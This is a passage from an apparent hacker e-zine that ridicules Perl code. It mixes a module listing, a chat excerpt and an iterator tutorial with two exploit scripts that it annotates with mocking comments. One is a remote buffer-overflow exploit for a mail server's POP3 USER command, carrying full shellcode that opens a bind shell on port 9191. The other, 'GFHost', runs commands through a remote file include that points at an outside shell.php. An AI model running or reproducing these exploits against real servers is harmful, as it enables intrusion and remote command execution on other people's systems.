2049# NEW RULE: Use POD if you're going to comment so much shit
2050# Or something. Quote it for all I care
2051
2052#!/usr/bin/perl -w
2053# oh yeah, two shebang lines
2054use IO::Socket;
2055
2056# why must it all be tabbed? was this your doing?
2057
2058 if ($#ARGV<0)
2059 # yuck yuck yuck
2060 {
2061 print "\n write the target IP!! \n\n";
2062 exit;
2063 }
2064
2065 $shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
2066 "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
2067 "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
2068 "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
2069 "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
2070 "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
2071 "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
2072 "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
2073 "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
2074 "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
2075 "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
2076 "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
2077 "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
2078 "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
2079 "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
2080 "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
2081 "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
2082 "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
2083 "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
2084 "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
2085 "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
2086 "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
2087 "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
2088 "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
2089 "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
2090 "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
2091 "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
2092 "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
2093 "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
2094 "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
2095 "\xD3\x4A\x8C\x88";
2096 $buffer = "\x90"x3601;
2097 $eax ="\x83\xb5\x19\x01"; # change if needed
2098 $peb= "\x20\xf0\xfd\x7f"; #PEB lock
2099 $user ="USER ";
2100 $enter = "\x0d\x0a";
2101 $connect = IO::Socket::INET ->new (Proto=>"tcp",
2102 PeerAddr=> "$ARGV[0]",
2103# quote quote
2104 PeerPort=>"110"); unless ($connect) { die "cant connect" }
2105# or die "you stupid moron";
2106# clean it up a bit. set $\ to "\n"
2107 print "\nRevilloC mail server remote PoC exploit by securma massine\n";
2108 print "\nsecurma\@morx.org\n";
2109 print "\n+++++++++++www.morx.org++++++++++++++++\n";
2110 $connect->recv($text,128);
2111 print "$text\n";
2112 print "[+] Sent USER\n";
2113 $connect->send($user . $buffer . $shellcode . $eax . $peb . $enter);
2114 print "[+] Sent shellcode..telnet to victim host port 9191\n";
2115# how do you make something so simple so ugly?
2116# why do you bloat it so?
2117# why can it not be elegent?
2118# why must you make it HURT
2119
2120-[0x0A] # School You: davorg ---------------------------------------------
2121
2122# $Id: Fraction.pm,v 1.9 2006/03/02 13:00:05 dave Exp $
2123
2124=head1 NAME
2125
2126Number::Fraction - Perl extension to model fractions
2127
2128=head1 SYNOPSIS
2129
2130 use Number::Fraction;
2131
2132 my $f1 = Number::Fraction->new(1, 2);
2133 my $f2 = Number::Fraction->new('1/2');
2134 my $f3 = Number::Fraction->new($f1); # clone
2135 my $f4 = Number::Fraction->new; # 0/1
2136
2137or
2138
2139 use Number::Fraction ':constants'
2140
2141 my $f1 = '1/2';
2142
2143 my $one = $f1 + $f2;
2144 my $half = $one - $f1;
2145 print $half; # prints '1/2'
2146
2147=head1 ABSTRACT
2148
2149Number::Fraction is a Perl module which allows you to work with fractions
2150in your Perl programs.
2151
2152=head1 DESCRIPTION
2153
2154Number::Fraction allows you to work with fractions (i.e. rational
2155numbers) in your Perl programs in a very natural way.
2156
2157It was originally written as a demonstration of the techniques of
2158overloading.
2159
2160If you use the module in your program in the usual way
2161
2162 use Number::Fraction;
2163
2164you can then create fraction objects using C<Number::Fraction->new> in
2165a number of ways.
2166
2167 my $f1 = Number::Fraction->new(1, 2);
2168
2169creates a fraction with a numerator of 1 and a denominator of 2.
2170
2171 my $f2 = Number::Fraction->new('1/2');
2172
2173does the same thing but from a string constant.
2174
2175 my $f3 = Number::Fraction->new($f1);
2176
2177makes C<$f3> a copy of C<$f1>
2178
2179 my $f4 = Number::Fraction->new; # 0/1
2180
2181creates a fraction with a denominator of 0 and a numerator of 1.
2182
2183If you use the alterative syntax of
2184
2185 use Number::Fraction ':constants';
2186
2187then Number::Fraction will automatically create fraction objects from
2188string constants in your program. Any time your program contains a
2189string constant of the form C<\d+/\d+> then that will be automatically
2190replaced with the equivalent fraction object. For example
2191
2192 my $f1 = '1/2';
2193
2194Having created fraction objects you can manipulate them using most of the
2195normal mathematical operations.
2196
2197 my $one = $f1 + $f2;
2198 my $half = $one - $f1;
2199
2200Additionally, whenever a fraction object is evaluated in a string
2201context, it will return a string in the format x/y. When a fraction
2202object is evaluated in a numerical context, it will return a floating
2203point representation of its value.
2204
2205Fraction objects will always "normalise" themselves. That is, if you
2206create a fraction of '2/4', it will silently be converted to '1/2'.
2207
2208=cut
2209
2210package Number::Fraction;
2211
2212use 5.006;
2213use strict;
2214use warnings;
2215
2216use Carp;
2217
2218our $VERSION = sprintf "%d.%02d", '$Revision: 1.9 $ ' =~ /(\d+)\.(\d+)/;
2219
2220use overload
2221 q("") => 'to_string',
2222 '0+' => 'to_num',
2223 '+' => 'add',
2224 '*' => 'mult',
2225 '-' => 'subtract',
2226 '/' => 'div',
2227 fallback => 1;
2228
2229my %_const_handlers =
2230 (q => sub { return __PACKAGE__->new($_[0]) || $_[1] });
2231
2232=head2 import
2233
2234Called when module is C<use>d. Use to optionally install constant
2235handler.
2236
2237=cut
2238
2239sub import {
2240 overload::constant %_const_handlers if $_[1] and $_[1] eq ':constants';
2241}
2242
2243=head2 unimport
2244
2245Be a good citizen and uninstall constant handler when caller uses
2246C<no Number::Fraction>.
2247
2248=cut
2249
2250sub unimport {
2251 overload::remove_constant(q => undef);
2252}
2253
2254=head2 new
2255
2256Constructor for Number::Fraction object. Takes the following kinds of
2257parameters:
2258
2259=over 4
2260
2261=item *
2262
2263A single Number::Fraction object which is cloned.
2264
2265=item *
2266
2267A string in the form 'x/y' where x and y are integers. x is used as the
2268numerator and y is used as the denominator of the new object.
2269
2270=item *
2271
2272Two integers which are used as the numerator and denominator of the
2273new object.
2274
2275=item *
2276
2277A single integer which is used as the numerator of the the new object.
2278The denominator is set to 1.
2279
2280=item *
2281
2282No arguments, in which case a numerator of 0 and a denominator of 1
2283are used.
2284
2285=back
2286
2287Returns C<undef> if a Number::Fraction object can't be created.
2288
2289=cut
2290
2291sub new {
2292 my $class = shift;
2293
2294 my $self;
2295 if (@_ >= 2) {
2296 return unless $_[0] =~ /^-?\d+$/ and $_[1] =~ /^-?\d+$/;
2297
2298 $self->{num} = $_[0];
2299 $self->{den} = $_[1];
2300 } elsif (@_ == 1) {
2301 if (ref $_[0]) {
2302 if (UNIVERSAL::isa($_[0], $class)) {
2303 return $class->new($_[0]->{num},
2304 $_[0]->{den});
2305 } else {
2306 croak "Can't make a $class from a ",
2307 ref $_[0];
2308}
2309 } else {
2310 return unless $_[0] =~ m|^(-?\d+)(?:/(-?\d+))?$|;
2311
2312 $self->{num} = $1;
2313 $self->{den} = defined $2 ? $2 : 1;
2314 }
2315 } else {
2316 $self->{num} = 0;
2317 $self->{den} = 1;
2318 }
2319
2320 bless $self, $class;
2321
2322 $self->_normalise;
2323
2324 return $self;
2325}
2326
2327sub _normalise {
2328 my $self = shift;
2329
2330 my $hcf = _hcf($self->{num}, $self->{den});
2331
2332 for (qw/num den/) {
2333 $self->{$_} /= $hcf;
2334 }
2335
2336 if ($self->{den} < 0) {
2337 for (qw/num den/) {
2338 $self->{$_} *= -1;
2339 }
2340 }
2341}
2342
2343=head2 to_string
2344
2345Returns a string representation of the fraction in the form
2346"numerator/denominator".
2347
2348=cut
2349
2350sub to_string {
2351 my $self = shift;
2352
2353 if ($self->{den} == 1) {
2354 return $self->{num};
2355 } else {
2356 return "$self->{num}/$self->{den}";
2357 }
2358}
2359
2360=head2 to_num
2361
2362Returns a numeric representation of the fraction by calculating the sum
2363numerator/denominator. Normal caveats about the precision of floating
2364point numbers apply.
2365
2366=cut
2367
2368sub to_num {
2369 my $self = shift;
2370
2371 return $self->{num} / $self->{den};
2372}
2373
2374=head2 add
2375
2376Add a value to a fraction object and return a new object representing the
2377result of the calculation.
2378
2379The first parameter is a fraction object. The second parameter is either
2380another fraction object or a number.
2381
2382=cut
2383
2384sub add {
2385 my ($l, $r, $rev) = @_;
2386
2387 if (ref $r) {
2388 if (UNIVERSAL::isa($r, ref $l)) {
2389 return (ref $l)->new($l->{num} * $r->{den} + $r->{num} * $l->{den},
2390 $r->{den} * $l->{den});
2391 } else {
2392 croak "Can't add a ", ref $l, " to a ", ref $l;
2393 }
2394 } else {
2395 if ($r =~ /^[-+]?\d+$/) {
2396 return $l + (ref $l)->new($r, 1);
2397 } else {
2398 return $l->to_num + $r;
2399 }
2400 }
2401}
2402
2403=head2 mult
2404
2405Multiply a fraction object by a value and return a new object representing
2406the result of the calculation.
2407
2408The first parameter is a fraction object. The second parameter is either
2409another fraction object or a number.
2410
2411=cut
2412
2413sub mult {
2414 my ($l, $r, $rev) = @_;
2415
2416 if (ref $r) {
2417 if (UNIVERSAL::isa($r, ref $l)) {
2418 return (ref $l)->new($l->{num} * $r->{num},
2419 $l->{den} * $r->{den});
2420 } else {
2421 croak "Can't multiply a ", ref $l, " by a ", ref $l;
2422 }
2423 } else {
2424 if ($r =~ /^[-+]?\d+$/) {
2425 return $l * (ref $l)->new($r, 1);
2426 } else {
2427 return $l->to_num * $r;
2428 }
2429 }
2430}
2431
2432=head2 subtract
2433
2434Subtract a value from a fraction object and return a new object representing
2435the result of the calculation.
2436
2437The first parameter is a fraction object. The second parameter is either
2438another fraction object or a number.
2439
2440=cut
2441
2442sub subtract {
2443 my ($l, $r, $rev) = @_;
2444
2445 if (ref $r) {
2446 if (UNIVERSAL::isa($r, ref $l)) {
2447 return (ref $l)->new($l->{num} * $r->{den} - $r->{num} * $l->{den},
2448 $r->{den} * $l->{den});
2449 } else {
2450 croak "Can't subtract a ", ref $l, " from a ", ref $l;
2451 }
2452 } else {
2453 if ($r =~ /^[-+]?\d+$/) {
2454 $r = (ref $l)->new($r, 1);
2455 return $rev ? $r - $l : $l - $r;
2456 } else {
2457 return $rev ? $r - $l->to_num : $l->to_num - $r;
2458 }
2459 }
2460}
2461
2462=head2 div
2463
2464Divide a fraction object by a value and return a new object representing
2465the result of the calculation.
2466
2467The first parameter is a fraction object. The second parameter is either
2468another fraction object or a number.
2469
2470=cut
2471
2472sub div {
2473 my ($l, $r, $rev) = @_;
2474
2475 if (ref $r) {
2476 if (UNIVERSAL::isa($r, ref $l)) {
2477 return (ref $l)->new($l->{num} * $r->{den},
2478 $l->{den} * $r->{num});
2479 } else {
2480 croak "Can't divide a ", ref $l, " by a ", ref $l;
2481 }
2482 } else {
2483 if ($r =~ /^[-+]?\d+$/) {
2484 $r = (ref $l)->new($r, 1);
2485 return $rev ? $r / $l : $l / $r;
2486 } else {
2487 return $rev ? $r / $l->to_num : $l->to_num / $r;
2488 }
2489 }
2490}
2491
2492sub _hcf {
2493 my ($x, $y) = @_;
2494
2495 ($x, $y) = ($y, $x) if $y > $x;
2496
2497 return $x if $x == $y;
2498
2499 while ($y) {
2500 ($x, $y) = ($y, $x % $y);
2501 }
2502
2503 return $x;
2504}
2505
25061;
2507__END__
2508
2509=head2 EXPORT
2510
2511None by default.
2512
2513=head1 SEE ALSO
2514
2515perldoc overload
2516
2517=head1 AUTHOR
2518
2519Dave Cross, E<lt>dave@dave.org.ukE<gt>
2520
2521=head1 COPYRIGHT AND LICENSE
2522
2523Copyright 2002 by Dave Cross
2524
2525This library is free software; you can redistribute it and/or modify
2526it under the same terms as Perl itself.
2527
2528=cut
2529
2530#
2531# $Log: Fraction.pm,v $
2532# Revision 1.9 2006/03/02 13:00:05 dave
2533# A couple of patches supplied by David Westbrook.
2534#
2535# Revision 1.8 2005/10/22 21:19:07 dave
2536# Added new tests.
2537#
2538# Revision 1.7 2004/10/23 10:42:56 dave
2539# Improved test coverage (to 100% - Go Me!)
2540#
2541# Revision 1.6 2004/05/23 12:18:13 dave
2542# Changed pod tests.
2543# Updated my email address in Makefile.PL
2544#
2545# Revision 1.5 2004/05/22 21:15:10 dave
2546# Added more tests.
2547# Fixed a couple of bugs that they uncovered.
2548#
2549# Revision 1.4 2004/04/28 08:37:39 dave
2550# Added negative tests to MANIFEST
2551#
2552# Revision 1.3 2004/04/27 13:12:48 dave
2553# Added support for negative numbers.
2554#
2555# Revision 1.2 2003/02/19 20:01:25 dave
2556# Correct '+0' to '0+'.
2557# Added "fallback" - which allowed me to remove cmp and ncmp.
2558#
2559
2560-[0x0B] # Shit on you athias ---------------------------------------------
2561
2562##############################################
2563# GFHost explo
2564# Spawn bash style Shell with webserver uid
2565# Greetz SPAX, foxtwo, Zone-H
2566# This Script is currently under development
2567
2568# no shit fucktard - you didn't even finish the title
2569
2570##############################################
2571
2572use strict;
2573use IO::Socket;
2574my $host;
2575my $port;
2576my $command;
2577my $url;
2578my @results;
2579my $probe;
2580my @U;
2581# Get that on one line. NOW
2582$U[1] = "/dl.php?a=0.1&OUR_FILE=ff24404eeac528b". "&f=http://srv/shell.php&cmd=";
2583&intro;
2584&scan;
2585&choose;
2586&command;
2587&exit;
2588# fuck man. Do you know what & is?
2589# why don't you call the sub like a man. exit();
2590
2591sub intro {
2592&help;
2593&host;
2594&server;
2595sleep 1;
2596};
2597# who the hell writes subs for that
2598# especially to use it just ONCE
2599
2600sub host {
2601print "\nHost or IP : ";
2602$host=<STDIN>;
2603chomp $host;
2604# chomp (my $host = <STDIN>);
2605if ($host eq ""){$host="127.0.0.1"};
2606# $host ||= "127.0.0.1";
2607print "\nPort (enter to accept 80): ";
2608$port=<STDIN>;
2609chomp $port;
2610if ($port =~/\D/ ){$port="80"};
2611if ($port eq "" ) {$port = "80"};
2612# Same lame shit, and don't quote numbers
2613};
2614sub server {
2615my $X;
2616print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
2617# we have x, print "\n" x big_int; use it
2618$probe = "string";
2619# my $probe = "your shit code";
2620my $output;
2621my $webserver = "something";
2622# not defining these above?
2623&connect;
2624for ($X=0; $X<=10; $X++){
2625# for my $x (0 .. 10) {
2626$output = $results[$X];
2627if (defined $output){
2628# if ($output) { # NOOB
2629if ($output =~/apache/){ $webserver = "apache" };
2630};
2631};
2632if ($webserver ne "apache"){
2633my $choice = "y";
2634chomp $choice;
2635# oh yes, chomp that...WHY
2636if ($choice =~/N/i) {&exit};
2637# this will happen WHEN?
2638}else{
2639print "\n\nOK";
2640};
2641};
2642sub scan {
2643my $status = "not_vulnerable";
2644# got that wrong! :P
2645
2646# OK this shit goes on forever and doesn't get any better
2647# I'm done
2648
2649# actually let me first introduce you to Acme::Bleach
2650# would work perfectly here
2651# use Acme::Bleach;
2652# should be at the beginning of this program
2653
2654print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
2655my $loop;
2656my $output;
2657my $flag;
2658$command="dir";
2659for ($loop=1; $loop < @U; $loop++) {
2660$flag = "0";
2661$url = $U[$loop];
2662$probe = "scan";
2663&connect;
2664foreach $output (@results){
2665if ($output =~ /Directory/) {
2666$flag = "1";
2667$status = "vulnerable";
2668};
2669};
2670if ($flag eq "0") {
2671}else{
2672};
2673};
2674if ($status eq "not_vulnerable"){
2675
2676};
2677};
2678sub choose {
2679
2680my $choice="1";
2681chomp $choice;
2682if ($choice > @U){ &choose };
2683if ($choice =~/\D/g ){ &choose };
2684if ($choice == 0){ &other };
2685$url = $U[$choice];
2686};
2687sub other {
2688my $other = <STDIN>;
2689chomp $other;
2690$U[0] = $other;
2691};
2692sub command {
2693while ($command !~/quit/i) {
2694print "[$host]\$ ";
2695$command = <STDIN>;
2696chomp $command;
2697if ($command =~/quit/i) { &exit };
2698if ($command =~/url/i) { &choose };
2699if ($command =~/scan/i) { &scan };
2700if ($command =~/help/i) { &help };
2701$command =~ s/\s/+/g;
2702$probe = "command";
2703if ($command !~/quit|url|scan|help/) {&connect};
2704};
2705&exit;
2706};
2707sub connect {
2708my $connection = IO::Socket::INET->new (
2709Proto => "tcp",
2710PeerAddr => "$host",
2711PeerPort => "$port",
2712) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
2713$connection -> autoflush(1);
2714if ($probe =~/command|scan/){
2715print $connection "GET $url$command HTTP/1.1\r\nHost: $host\r\n\r\n";
2716}elsif ($probe =~/string/) {
2717print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
2718};
2719
2720while ( <$connection> ) {
2721@results = <$connection>;
2722};
2723close $connection;
2724if ($probe eq "command"){ &output };
2725if ($probe eq "string"){ &output };
2726};
2727sub output{
2728my $display;
2729if ($probe eq "string") {
2730my $X;
2731for ($X=0; $X<=10; $X++) {
2732$display = $results[$X];
2733if (defined $display){print "$display";};
2734};
2735}else{
2736foreach $display (@results){
2737print "$display";
2738};
2739};
2740};
2741sub exit{
2742print "\n\n\n ORP";
2743exit;
2744};
2745sub help {
2746print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
2747print "\n
2748GFHost PHP GMail
2749Command Execution Vulnerability by SPABAM 2004" ;
2750print "\n http://www.zone-h.org/advisories/read/id=4904
2751";
2752print "\n GFHost.pl Exploit v1.1";
2753print "\n \n note.. Script under DEVEL";
2754print "\n";
2755print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
2756print "\n Command: SCAN URL HELP QUIT";
2757print "\n\n\n\n\n\n\n\n\n\n\n";
2758};
2759
2760-[0x0C] # Intermission ---------------------------------------------------
2761
2762<Socrates> Nietzsche: God is dead
2763<Kant> Paul Elstak: I am a God
2764<Socrates> Not quite the comparison I was expecting.
2765<Kant> not quite contradictory
2766<Socrates> Nietzsche was an athiest philosopher, not an egotist.
2767<Kant> yes, he was an egoist, not an egotist
2768<Socrates> Who believed in the moral authority of individuals.
2769<Kant> he embraced a God form, but not a lie
2770<Kant> Nietzsche embraced the God of one,
2771<Kant> much like Paul Elstak
2772<Socrates> Whatever. Back to the Perl God.
2773<Kant> Praise the Lord
2774
2775-[0x0D] # School You: Limbic~Region --------------------------------------
2776
2777The purpose of this tutorial is to give a general overview of what
2778iterators are, why they are useful, how to build them, and things to
2779consider to avoid common pitfalls. I intend to give the reader enough
2780information to begin using iterators, though this article assumes some
2781understanding of idiomatic Perl programming. Please consult the "See
2782Also" section if you need supplemental information.
2783What Is an Iterator?
2784
2785Iterators come in many forms, and you have probably used one without
2786even knowing it. The readline and glob functions, as well as the
2787flip-flop operator, are all iterators when used in scalar context. A
2788user-defined iterator usually takes the form of a code reference that,
2789when executed, calculates the next item in a list and returns it. When
2790the iterator reaches the end of the list, it returns an agreed-upon
2791value. While implementations vary, a subroutine that creates a closure
2792around any necessary state variables and returns the code reference is
2793common. This technique is called a factory and facilitates code reuse.
2794Why Are Iterators Useful?
2795
2796The most straightforward way to use a list is to define an algorithm to
2797generate the list and store the results in an array. There are several
2798reasons why you might want to consider an iterator instead:
2799
2800Related Reading
2801
2802
2803Learning Perl
2804By Randal L. Schwartz, Tom Phoenix, brian d foy
2805Table of Contents
2806Index
2807Sample Chapter
2808
2809Read Online--Safari Search this book on Safari:
2810
2811
2812Code Fragments only
2813
2814The list in its entirety would use too much memory.
2815
2816Iterators have tiny memory footprints, because they can store only the
2817state information necessary to calculate the next item.
2818
2819The list is infinite.
2820
2821Iterators return after each iteration, allowing the traversal of an
2822infinite list to stop at any point.
2823
2824The list should be circular.
2825
2826Iterators contain state information, as well as logic allowing a list
2827to wrap around.
2828
2829The list is large but you only need a few items.
2830
2831Iterators allow you to stop at any time, avoiding the need to calculate
2832any more items than is necessary.
2833The list needs to be duplicated, split, or variated.
2834
2835Iterators are lightweight and have their own copies of state variables.
2836How to Build an Iterator
2837
2838The basic structure of an iterator factory looks like this:
2839
2840sub gen_iterator {
2841 my @initial_info = @_;
2842
2843 my ($current_state, $done);
2844
2845 return sub {
2846 # code to calculate $next_state or $done;
2847 return undef if $done;
2848 return $current_state = $next_state;
2849 };
2850}
2851
2852To make the factory more flexible, the factory may take arguments to
2853decide how to create the iterator. The factory declares all necessary
2854state variables and possibly initializes them. It then returns a code
2855reference--in the same scope as the state variables--to the caller,
2856completing the transaction. Upon each execution of the code reference,
2857the state variables are updated and the next item is returned, until
2858the iterator has exhausted the list.
2859
2860The basic usage of an iterator looks like this:
2861
2862my $next = gen_iterator( 42 );
2863while ( my $item = $next->() ) {
2864 print "$item\n";
2865}
2866Example: The List in Its Entirety Would Use Too Much Memory
2867
2868You work in genetics and you need every possible sequence of DNA
2869strands of lengths 1 to 14. Even if there were no memory overhead in
2870using arrays, it would still take nearly five gigabytes of memory to
2871accommodate the full list. Iterators come to the rescue:
2872
2873my @DNA = qw/A C T G/;
2874my $seq = gen_permutate(14, @DNA);
2875while ( my $strand = $seq->() ) {
2876 print "$strand\n";
2877}
2878
2879sub gen_permutate {
2880 my ($max, @list) = @_;
2881 my @curr;
2882 return sub {
2883 if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x
2884@curr ) {
2885 @curr = (0) x (@curr + 1);
2886 }
2887 else {
2888 my $pos = @curr;
2889 while ( --$pos > -1 ) {
2890 ++$curr[ $pos ], last if $curr[ $pos ] < $#list;
2891 $curr[ $pos ] = 0;
2892 }
2893 }
2894 return undef if @curr > $max;
2895 return join '', map { $list[ $_ ] } @curr;
2896 };
2897}
2898Example: The List Is Infinite
2899
2900You need to assign IDs to all current and future employees and ensure
2901that it is possible to determine if an ID is valid with nothing more
2902than the number itself. You have already taken care of persistence and
2903number validation (using the LUHN formula). Iterators take care of the
2904rest:
2905
2906my $start = $ARGV[0] || 999999;
2907my $next_id = gen_id( $start );
2908print $next_id->(), "\n" for 1 .. 10; # Next 10 IDs
2909
2910sub gen_id {
2911 my $curr = shift;
2912 return sub {
2913 0 while ! is_valid( ++$curr );
2914 return $curr;
2915 };
2916}
2917
2918sub is_valid {
2919 my ($num, $chk) = (shift, '');
2920 my $tot;
2921 for ( 0 .. length($num) - 1 ) {
2922 my $dig = substr($num, $_, 1);
2923 $_ % 2 ? ($chk .= $dig * 2) : ($tot += $dig);
2924 }
2925
2926 $tot += $_ for split //, $chk;
2927
2928 return $tot % 10 == 0 ? 1 : 0;
2929}
2930Example: The List Should Be Circular
2931
2932You need to support legacy apps with hardcoded filenames, but want to
2933keep logs for three days before overwriting them. You have everything
2934you need except a way to keep track of which file to write to:
2935
2936my $next_file = rotate( qw/FileA FileB FileC/ );
2937print $next_file->(), "\n" for 1 .. 10;
2938
2939sub rotate {
2940 my @list = @_;
2941 my $index = -1;
2942
2943 return sub {
2944 $index++;
2945 $index = 0 if $index > $#list;
2946 return $list[ $index ];
2947 };
2948}
2949
2950Adding one state variable and an additional check would provide the
2951ability to loop a user-defined number of times.
2952Example: The List Is Large But Only a Few Items May Be Needed
2953
2954You have forgotten the password to your DSL modem and the vendor
2955charges more than the cost of a replacement to unlock it. Fortunately,
2956you remember that it was only four lowercase characters:
2957
2958while ( my $pass = $next_pw->() ) {
2959 if ( unlock( $pass ) ) {
2960 print "$pass\n";
2961 last;
2962 }
2963}
2964
2965sub fix_size_perm {
2966
2967 my ($size, @list) = @_;
2968 my @curr = (0) x ($size - 1);
2969
2970 push @curr, -1;
2971
2972 return sub {
2973 if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x
2974@curr ) {
2975 @curr = (0) x (@curr + 1);
2976 }
2977 else {
2978 my $pos = @curr;
2979 while ( --$pos > -1 ) {
2980 ++$curr[ $pos ], last if $curr[ $pos ] < $#list;
2981 $curr[ $pos ] = 0;
2982 }
2983 }
2984
2985 return undef if @curr > $size;
2986 return join '', map { $list[ $_ ] } @curr;
2987 };
2988}
2989
2990sub unlock { $_[0] eq 'john' }
2991Example: The List Needs To Be Duplicated, Split, or Modified into
2992Multiple Variants
2993
2994Duplicating the list is useful when each item of the list requires
2995multiple functions applied to it, if you can apply them in parallel. If
2996there is only one function, it may be advantageous to break the list up
2997and run duplicate copies of the function. In some cases, multiple
2998variations are necessary, which is why factories are so useful. For
2999instance, multiple lists of different letters might come in handy when
3000writing a crossword solver.
3001
3002The following example uses the idea of breaking up the list to enhance
3003the employee ID example. Assigning ranges to departments adds
3004additional meaning to the ID.
3005
3006my %lookup;
3007
3008@lookup{ qw/sales support security management/ }
3009 = map { { start => $_ * 10_000 } } 1..4;
3010
3011$lookup{$_}{iter} = gen_id( $lookup{$_}{start} ) for keys %lookup;
3012
3013# ....
3014
3015my $dept = $employee->dept;
3016my $id = $lookup{$dept}{id}();
3017$employee->id( $id );
3018Things To Consider
3019The iterator's @_ is Different Than the Factory's
3020
3021The following code doesn't work as you might expect:
3022
3023sub gen_greeting {
3024 return sub { print "Hello ", $_[0] };
3025}
3026
3027my $greeting = gen_greeting( 'world' );
3028$greeting->();
3029
3030It may seem obvious, but closures need lexicals to close over, as each
3031subroutine has its own @_. The fix is simple:
3032
3033sub gen_greeting {
3034 my $msg = shift;
3035 return sub { print "Hello ", $msg };
3036}
3037The Return Value Indicating Exhaustion Is Important
3038
3039Attempt to identify a value that will never occur in the list. Using
3040undef is usually safe, but not always. Document your choice well, so
3041calling code can behave correctly. Using while ( my $answer = $next->()
3042) { ... } would result in an infinite loop if 42 indicated exhaustion.
3043
3044If it is not possible to know in advance valid values in the list,
3045allow users to define their own values as an argument to the factory.
3046References to External Variables for State May Cause Problems
3047
3048Problems can arise when factory arguments needed to maintain state are
3049references. This is because the variable being referred to can have its
3050value changed at any time during the course of iteration. A solution
3051might be to de-reference and make a copy of the result. In the case of
3052large hashes or arrays, this may be counterproductive to the ultimate
3053goal. Document your solution and your assumptions so that the caller
3054knows what to expect.
3055You May Need to Handle Edge Cases
3056
3057Sometimes, the first or the last item in a list requires more logic
3058than the others in the list. Consider the following iterator for the
3059Fibonacci numbers:
3060
3061sub gen_fib {
3062 my ($low, $high) = (1, 0);
3063
3064 return sub {
3065 ($low, $high) = ($high, $low + $high);
3066 return $high;
3067 };
3068}
3069
3070my $fib = gen_fib();
3071print $fib->(), "\n" for 1 .. 20;
3072
3073Besides the funny initialization of $low being greater than $high, it
3074also misses 0, which should be the first item returned. Here is one way
3075to handle it:
3076
3077sub gen_fib {
3078
3079 my ($low, $high) = (1, 0);
3080
3081 my $seen_edge;
3082
3083 return sub {
3084 return 0 if ! $seen_edge++;
3085 ($low, $high) = ($high, $low + $high);
3086 return $high;
3087 };
3088}
3089State Variables Persist As Long As the Iterator
3090
3091Reaching the end of the list does not necessarily free the iterator and
3092state variables. Because Perl uses reference counting for its garbage
3093collection, the state variables will exist as long as the iterator
3094does.
3095
3096Though most iterators have a small memory footprint, this is not always
3097the case. Even if a single iterator doesn't consume a large amount of
3098memory, it isn't always possible to forsee how many iterators a program
3099will create. Be sure to document how the caller can destroy the
3100iterator when necessary.
3101
3102In addition to documentation, you may also want to undef the state
3103variables at exhaustion, and perhaps warn the caller if the iterator is
3104being called after exhaustion.
3105
3106sub gen_countdown {
3107 my $curr = shift;
3108
3109 return sub {
3110 return $curr++ || 'blast off';
3111 }
3112}
